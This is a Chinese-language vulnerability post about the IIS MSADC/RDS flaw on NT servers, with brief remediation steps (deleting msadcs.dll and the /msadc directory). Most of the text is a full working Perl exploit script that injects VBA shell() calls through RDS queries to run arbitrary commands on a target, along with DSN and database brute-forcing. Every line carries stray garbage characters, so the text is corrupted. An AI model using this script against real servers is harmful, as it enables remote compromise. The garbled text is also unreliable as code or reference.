IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
} A}Vd:# .8XkB<[wb 涉及程序:
PUC:Pl77 Microsoft NT server
;W3c|5CE 6\x/Z=}L 描述:
oP:/% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
a lyA#zao| &&Otj-n5 详细:
US&:UzI. 如果你没有时间读详细内容的话,就删除:
B~%SB/eu c:\Program Files\Common Files\System\Msadc\msadcs.dll
9w-;d=(Q 有关的安全问题就没有了。
! ~+mf^D O>IG7Ujl 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
"Jg*
/F LHs^Xo18 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
_!k\~4U 关于利用ODBC远程漏洞的描述,请参看:
)_K:A(V> DS7Pioa86 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J74kK#uF= R".*dC,0'B 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
L/,M@1@R http://www.microsoft.com/security/bulletins/MS99-025faq.asp Kk>va->R #^w8Y'{? 这里不再论述。
=!=DISPo QPW+L*2 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
sbV_h;< g8]$BhRIfr /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
4qyPjAG 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
L]=LY Z
)X( "SpsSQ #将下面这段保存为txt文件,然后: "perl -x 文件名"
6}:(m#+ V QbKrnX #!perl
/Mw0<# #
oMKG M@V # MSADC/RDS 'usage' (aka exploit) script
.FvIT]k- #
IDp2#qg_ # by rain.forest.puppy
hlHle\[ds #
MYUL y2) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
muKjeg'b # beta test and find errors!
z*WQ=l2 $ ~/x;z: use Socket; use Getopt::Std;
n0w0]dJ&lc getopts("e:vd:h:XR", \%args);
xfA@GYCfT sfC/Q"Zs print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#ihHAiy3 uC"Gm;0 if (!defined $args{h} && !defined $args{R}) {
`Wu.wx print qq~
JgB"N/Oz Usage: msadc.pl -h <host> { -d <delay> -X -v }
<'O|7.
^^ -h <host> = host you want to scan (ip or domain)
]GzfU'fOn| -d <seconds> = delay between calls, default 1 second
#wF6Wx iG -X = dump Index Server path table, if available
OJs
s -v = verbose
n&FRjq9y -e = external dictionary file for step 5
2MDY nMy `%=!_| Or a -R will resume a command session
];Y tw6A V.w!]{xm ~; exit;}
sDXQ{*6a D#11
N^-K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
B{NGrC`5) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
78E<_UgcB if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}nWW`:t kx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
W<H<~wf# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@eRv`O" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
|@dY[VK> (E \lLlN if (!defined $args{R}){ $ret = &has_msadc;
%Pk@`t (3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/?:q9Wy yj
mNeZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G V% @A . "cmd /c ";
I0OfK3!^ $in=<STDIN>; chomp $in;
-aIB_ $command="cmd /c " . $in ;
hFDo{yI <2fvEW/#v if (defined $args{R}) {&load; exit;}
34qfP{9!N Xl/2-'4 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
19i [DR &try_btcustmr;
%F] :nk` g#[,4o; print "\nStep 2: Trying to make our own DSN...";
0vcFX)]yW &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^j7]> I "=* print "\nStep 3: Trying known DSNs...";
U_5\FM &known_dsn;
<nF1f(ky &=laZxe print "\nStep 4: Trying known .mdbs...";
9TV1[+JWe &known_mdb;
uG4Q\,R '];=1loD if (defined $args{e}){
JPkI+0 print "\nStep 5: Trying dictionary of DSN names...";
kSO:xS0 _N &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
5}`e"X MW)=l
| G print "Sorry Charley...maybe next time?\n";
jNP%BNd1f exit;
tnC,1HV0[ {_X&{dZLX ##############################################################################
eed!SmP $~:|Vj5iZ\ sub sendraw { # ripped and modded from whisker
e",0Er FT sleep($delay); # it's a DoS on the server! At least on mine...
x$24Nc1a' my ($pstr)=@_;
I=}R
Z9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X&.LX die("Socket problems\n");
hi9@U]H# if(connect(S,pack "SnA4x8",2,80,$target)){
CR`}{?2H select(S); $|=1;
R TeG\U print $pstr; my @in=<S>;
,%,.c^- select(STDOUT); close(S);
9C\@10 D return @in;
Xldz&&@ } else { die("Can't connect...\n"); }}
KgEfhO$W 4 UnN~ ##############################################################################
X8(WsN mjbV^^> sub make_header { # make the HTTP request
Y> PC> my $msadc=<<EOT
~9dAoILrl POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
a9TKp$LP` User-Agent: ACTIVEDATA
go5l<:9 Host: $ip
BY??X= Content-Length: $clen
n;*W#c Connection: Keep-Alive
|1Pi`^ s
F3M= uz ADCClientVersion:01.06
]nQ(|$rW
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
^I6GH?19>e 3H@29TrJ+ --!ADM!ROX!YOUR!WORLD!
e"v oXe Content-Type: application/x-varg
ph=U<D4 Content-Length: $reqlen
bd3q207> z|i2M8 EOT
XB\n4|4 ; $msadc=~s/\n/\r\n/g;
l*n4d[0J return $msadc;}
*]* D^' :faB7wduW; ##############################################################################
-LEpT$v| 5gY9D!;:0D sub make_req { # make the RDS request
O@? *5 my ($switch, $p1, $p2)=@_;
- x]gp5 my $req=""; my $t1, $t2, $query, $dsn;
Ixv/xI -gb'DN1BG if ($switch==1){ # this is the btcustmr.mdb query
T>pz?e^5& $query="Select * from Customers where City=" . make_shell();
^ot9Q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
bGa"r $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
KZ/2#` 1IV
R4:a elsif ($switch==2){ # this is general make table query
}
OAH/BW $query="create table AZZ (B int, C varchar(10))";
B;xGTl@8 $dsn="$p1";}
%Dm:|><V$b doV+u(J~ elsif ($switch==3){ # this is general exploit table query
Z1M{5E $query="select * from AZZ where C=" . make_shell();
glP
W9q,f $dsn="$p1";}
pt-
1>Ui f2RIOL, elsif ($switch==4){ # attempt to hork file info from index server
o:Q.XWa@MG $query="select path from scope()";
?FwjbG< $dsn="Provider=MSIDXS;";}
Af7&;8pM M]M(E) *5 elsif ($switch==5){ # bad query
wT-@v,$ $query="select";
@2)ImgK[ $dsn="$p1";}
^Ts8nOGMh 2Jc9}|, $t1= make_unicode($query);
dX5|A_Ex $t2= make_unicode($dsn);
5mB'\xGO2 $req = "\x02\x00\x03\x00";
z7um9g $req.= "\x08\x00" . pack ("S1", length($t1));
$|r
p5D6 $req.= "\x00\x00" . $t1 ;
!x1ivP $req.= "\x08\x00" . pack ("S1", length($t2));
s+XDtO $req.= "\x00\x00" . $t2 ;
dNgjM
Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
L\(" return $req;}
:Y2J7p[+ xl;0&/7e ##############################################################################
Q!"W)tD lT~A~O sub make_shell { # this makes the shell() statement
;OfZEy>7 return "'|shell(\"$command\")|'";}
Y'v;!11#
y]TNjLpo$ ##############################################################################
7H5t!yk|9 < .B^\X$ sub make_unicode { # quick little function to convert to unicode
Jl(G4h V'\ my ($in)=@_; my $out;
D^e7%FX for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:T# "bY return $out;}
j9/Ev]im|F $yg=tWk ##############################################################################
&u7oa om}jQJ]KH sub rdo_success { # checks for RDO return success (this is kludge)
\cRe,(?O my (@in) = @_; my $base=content_start(@in);
`<^1Ik[g if($in[$base]=~/multipart\/mixed/){
3WQ"3^G return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2rJeON return 0;}
,7nA:0P Vm
<9/UG< ##############################################################################
uw`fC%-xh 26<Wg7/, sub make_dsn { # this makes a DSN for us
o:"^@3 my @drives=("c","d","e","f");
k=):>} print "\nMaking DSN: ";
?sm@lDZ\ foreach $drive (@drives) {
J}J7A5P print "$drive: ";
p7kH"j{xD my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
u }~%9Pi "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lc2RMu . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
FkJX) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
1xE*quhrh return 0 if $2 eq "404"; # not found/doesn't exist
=FtJa3mHK if($2 eq "200") {
K]Onb{QY foreach $line (@results) {
aj)?P
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
e<[0H 8 } return 0;}
OGqsQ OlF5~VAbfb ##############################################################################
v9R"dc]0h F_&bE@k sub verify_exists {
0[T>UEI? my ($page)=@_;
v5N2$Sqp* my @results=sendraw("GET $page HTTP/1.0\n\n");
jwd{CN% return $results[0];}
&9F(uk=X 8x9$6HO ##############################################################################
yL>wCD,L t=Um@;wh sub try_btcustmr {
,t=12R]> my @drives=("c","d","e","f");
,dO$R.h my @dirs=("winnt","winnt35","winnt351","win","windows");
81<0B@E Z2x% foreach $dir (@dirs) {
:u$+lq print "$dir -> "; # fun status so you can see progress
Qo;#}%}^^ foreach $drive (@drives) {
)Mj
$/ print "$drive: "; # ditto
r9d dVD $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t@O4!mFH $reqlenlen=length( "$reqlen" );
9M$N>[og $clen= 206 + $reqlenlen + $reqlen;
ko%B` $ZOKB9QccC my @results=sendraw(make_header() . make_req(1,$drive,$dir));
&`J?`l X if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
p>@S61
&
[ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
`bF]O" Y?>us ##############################################################################
A,)G$yT\ _p`@/[(| sub odbc_error {
s"solPw my (@in)=@_; my $base;
&G"r>,HU my $base = content_start(@in);
&RP}w%I1 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
j$8i!C $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q
T pvz $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}&mFpc $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;dh8|ujh return $in[$base+4].$in[$base+5].$in[$base+6];}
66+y@l1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>`@yh-'r print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
fx783 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
k-LT'>CWl V^U1o[` ##############################################################################
%V CfcM}5I &MlBpI sub verbose {
<.h\%&'U my ($in)=@_;
r4D6I, return if !$verbose;
%$l^C!qcY print STDOUT "\n$in\n";}
QFfKEMN X}5aE4K/ ##############################################################################
;I+"MY7D b:iZ.I sub save {
Bw[jrK my ($p1, $p2, $p3, $p4)=@_;
8zRb)B+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Z{w{bf1&A print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"k${5wk#Fl close OUT;}
yeCR{{B/' <9s=K\- ##############################################################################
f2#9E+IQ cc%O35o sub load {
($oO,
c'z my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=!#iC?I open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4#qjRmt @p=<IN>; close(IN);
$pT%7jV} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#89h}mp' $target= inet_aton($ip) || die("inet_aton problems");
Bn"r;pqWiT print "Resuming to $ip ...";
$nOd4{s_ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
F)0I7+lP if($p[1]==1) {
a#0GmK $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
r $du-U $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Jb~ -)n2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Dk'EKT- if (rdo_success(@results)){print "Success!\n";}
xmDX1sL** else { print "failed\n"; verbose(odbc_error(@results));}}
Ohm>^N;
elsif ($p[1]==3){
B=;pyhc if(run_query("$p[3]")){
=oF6|\]{; print "Success!\n";} else { print "failed\n"; }}
ZHshg`I` elsif ($p[1]==4){
!_`T8pJ` if(run_query($drvst . "$p[3]")){
toipEp<ci print "Success!\n"; } else { print "failed\n"; }}
!j(KbAhWZ exit;}
9@yP;{Q p0.?R ##############################################################################
LC/w".oq? ^/W7Xd(s sub create_table {
tH:K6^oR my ($in)=@_;
2.2Z'$W $reqlen=length( make_req(2,$in,"") ) - 28;
6[9E^{(z $reqlenlen=length( "$reqlen" );
n/"T7Y\2 $clen= 206 + $reqlenlen + $reqlen;
6Upg\( my @results=sendraw(make_header() . make_req(2,$in,""));
JXlFo3< return 1 if rdo_success(@results);
v`hv5wQ my $temp= odbc_error(@results); verbose($temp);
\ooqa<_ return 1 if $temp=~/Table 'AZZ' already exists/;
Gc9^Z= return 0;}
WRAW%?$ (%>Sln5hq ##############################################################################
9xg_M=72 2`* %NJ sub known_dsn {
TKc&yAK # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ED/-,>[f my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
tji,by#E/% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!dLz ?0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
LIH>IpamN J1<fE(X foreach $dSn (@dsns) {
JXeqVKF print ".";
1V`]sfRK next if (!is_access("DSN=$dSn"));
-aNTFt~|[ if(create_table("DSN=$dSn")){
skcMGEB print "$dSn successful\n";
x
0 if(run_query("DSN=$dSn")){
bIm$7a`T print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EGwY|+3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
7atYWz~yG .;tO;j|6 ##############################################################################
uz4mHyS6 4C/8hsn sub is_access {
nRQIrUNq my ($in)=@_;
xgR* j $reqlen=length( make_req(5,$in,"") ) - 28;
7o
z(hO~ $reqlenlen=length( "$reqlen" );
L>UYR++<6 $clen= 206 + $reqlenlen + $reqlen;
A!k} my @results=sendraw(make_header() . make_req(5,$in,""));
=DxJt7J1 my $temp= odbc_error(@results);
^@L[0Z` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
U8-9^}DBA return 0;}
]@J}f}Mjo @`.u"@ ##############################################################################
<J-OwO a-1 8"LaP3U sub run_query {
)O- x1U my ($in)=@_;
%FFw!eVi $reqlen=length( make_req(3,$in,"") ) - 28;
@\l>
<R9V $reqlenlen=length( "$reqlen" );
Re1@2a> $clen= 206 + $reqlenlen + $reqlen;
dr6 dK my @results=sendraw(make_header() . make_req(3,$in,""));
%,,h )9 return 1 if rdo_success(@results);
GIVs)~/Eq my $temp= odbc_error(@results); verbose($temp);
0D#!!r ; return 0;}
ga^<_;5< l*Y~h3 ##############################################################################
J-PzI FWd HHnabSn}{q sub known_mdb {
$fKwJFr my @drives=("c","d","e","f","g");
om_&|9B) my @dirs=("winnt","winnt35","winnt351","win","windows");
h.=B!wKK my $dir, $drive, $mdb;
J|FyY)_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&<Gq-IN 1]>KuXd
r # this is sparse, because I don't know of many
Bh' vr3| my @sysmdbs=( "\\catroot\\icatalog.mdb",
eBAB7r/7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
JNp`@`0V "\\system32\\certmdb.mdb",
1yB;"q&Xd "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.;KupQ;* M<$l&%<`G my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
` `;$Kr "\\cfusion\\cfapps\\forums\\forums_.mdb",
<$yer)_J!k "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,IJ Nuu\ "\\cfusion\\cfapps\\security\\realm_.mdb",
.hJ8K#r "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_SP
u`=~K "\\cfusion\\database\\cfexamples.mdb",
3sZK[Y|ax "\\cfusion\\database\\cfsnippets.mdb",
8e\v5K9 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_&%!4n#> "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
e4)gF* "\\cfusion\\brighttiger\\database\\cleam.mdb",
sId5pY! "\\cfusion\\database\\smpolicy.mdb",
\[oHt:$do "\\cfusion\\database\cypress.mdb",
C]=E$^|{ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<dYk|5AdLF "\\website\\cgi-win\\dbsample.mdb",
;5|EpoM "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&yA<R::o "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(x^| ); #these are just
=-VV` foreach $drive (@drives) {
>Ed^dsb& foreach $dir (@dirs){
mW-@-5Wda foreach $mdb (@sysmdbs) {
fBLd5 print ".";
u3. PHZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
>rFvT>@NU print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
GC\/B0! if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Ez$5wY^J print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n#&RY%#` } else { print "Something's borked. Use verbose next time\n"; }}}}}
Mc}x]j`f t!u*6W|@ foreach $drive (@drives) {
0&nF Vsz foreach $mdb (@mdbs) {
654%X(:q print ".";
;Z`)*TRp4 if(create_table($drv . $drive . $dir . $mdb)){
kTk?[BK print "\n" . $drive . $dir . $mdb . " successful\n";
H);'\]_'x if(run_query($drv . $drive . $dir . $mdb)){
<C>i~<`d print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_(z"l"l=$ } else { print "Something's borked. Use verbose next time\n"; }}}}
R]Yhuo9,&n }
B7 PmG
f)b .-|O "H$ ##############################################################################
5?fk;Q9+\ >@L
HJ61C sub hork_idx {
a2rv4d= print "\nAttempting to dump Index Server tables...\n";
#`fT%'T! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xqtjtH9X $reqlen=length( make_req(4,"","") ) - 28;
XGoy#h $reqlenlen=length( "$reqlen" );
zc1Zuco|
R $clen= 206 + $reqlenlen + $reqlen;
6+u'Tcb my @results=sendraw2(make_header() . make_req(4,"",""));
d$TW](Bby if (rdo_success(@results)){
~JNuy"8 my $max=@results; my $c; my %d;
`?@7 KEl> for($c=19; $c<$max; $c++){
jFXU
xf $results[$c]=~s/\x00//g;
Na6z,TW $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
YiCDV(prT $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$ B9=v $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
j%}Jl $d{"$1$2"}="";}
xK r,XZu foreach $c (keys %d){ print "$c\n"; }
`SwnKg } else {print "Index server doesn't seem to be installed.\n"; }}
0&\Aw'21 (>K$gAQH ##############################################################################
L&N"&\K2U qC4-J)8Wk sub dsn_dict {
'oHR4O* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_Nn!SE while(<IN>){
.;:xx~G_Q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
:}JZKj!}M next if (!is_access("DSN=$dSn"));
JB(;[# '~ if(create_table("DSN=$dSn")){
R,\
r{@yrz print "$dSn successful\n";
0c5_L6_z if(run_query("DSN=$dSn")){
O%&@WrFq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1 ~7_! print "Something's borked. Use verbose next time\n";}}}
C#~MR+; print "\n"; close(IN);}
oSl>%} ZYsFd_ ##############################################################################
+o >&&xJ5 sub sendraw2 { # ripped and modded from whisker
U YQ$c }Z5 sleep($delay); # it's a DoS on the server! At least on mine...
Pp/{keEye my ($pstr)=@_;
! -c*lb socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jVINc=o die("Socket problems\n");
zFtGc if(connect(S,pack "SnA4x8",2,80,$target)){
QRlzGRueR& print "Connected. Getting data";
Ng"vBycy open(OUT,">raw.out"); my @in;
i-?zwVmn select(S); $|=1; print $pstr;
y2R=%EFh6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
j1F+, close(OUT); select(STDOUT); close(S); return @in;
[!&k?.*;< } else { die("Can't connect...\n"); }}
#& wgsGV8C
?Qig$ ##############################################################################
Y*k<NeDyn lAk1ncx sub content_start { # this will take in the server headers
^eW.hNg my (@in)=@_; my $c;
?X'*
p<` for ($c=1;$c<500;$c++) {
?i~/gjp
if($in[$c] =~/^\x0d\x0a/){
8q3TeMYV if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
hzLGmWN2j8 else { return $c+1; }}}
"Cc"y* P return -1;} # it should never get here actually
wP/9z(US C):d9OI? ##############################################################################
y^=oYL @WHd(ka! sub funky {
5S]P#8 my (@in)=@_; my $error=odbc_error(@in);
v$G*TR<2 if($error=~/ADO could not find the specified provider/){
XQOprIJ
U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
SSLshY~d exit;}
^qx\ e$R if($error=~/A Handler is required/){
zt2-w/[Q print "\nServer has custom handler filters (they most likely are patched)\n";
g&TCff exit;}
z,|%?
1
if($error=~/specified Handler has denied Access/){
rhTk}2@h print "\nServer has custom handler filters (they most likely are patched)\n";
! |h2&tH exit;}}
{,FeNf46 vkpV,}H ##############################################################################
rO$>zdmYHs va(9{AXI sub has_msadc {
[\9(@Bx my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
LDEt.,6i my $base=content_start(@results);
|u"R(7N* return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
#>jH[Q return 0;}
IKDjatn %_MR.J+m2 ########################
yl<$yd0Zdu }AW)R&m
}pnFJ 解决方案:
xqWrW) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
,?<h] !aQ 2、移除web 目录: /msadc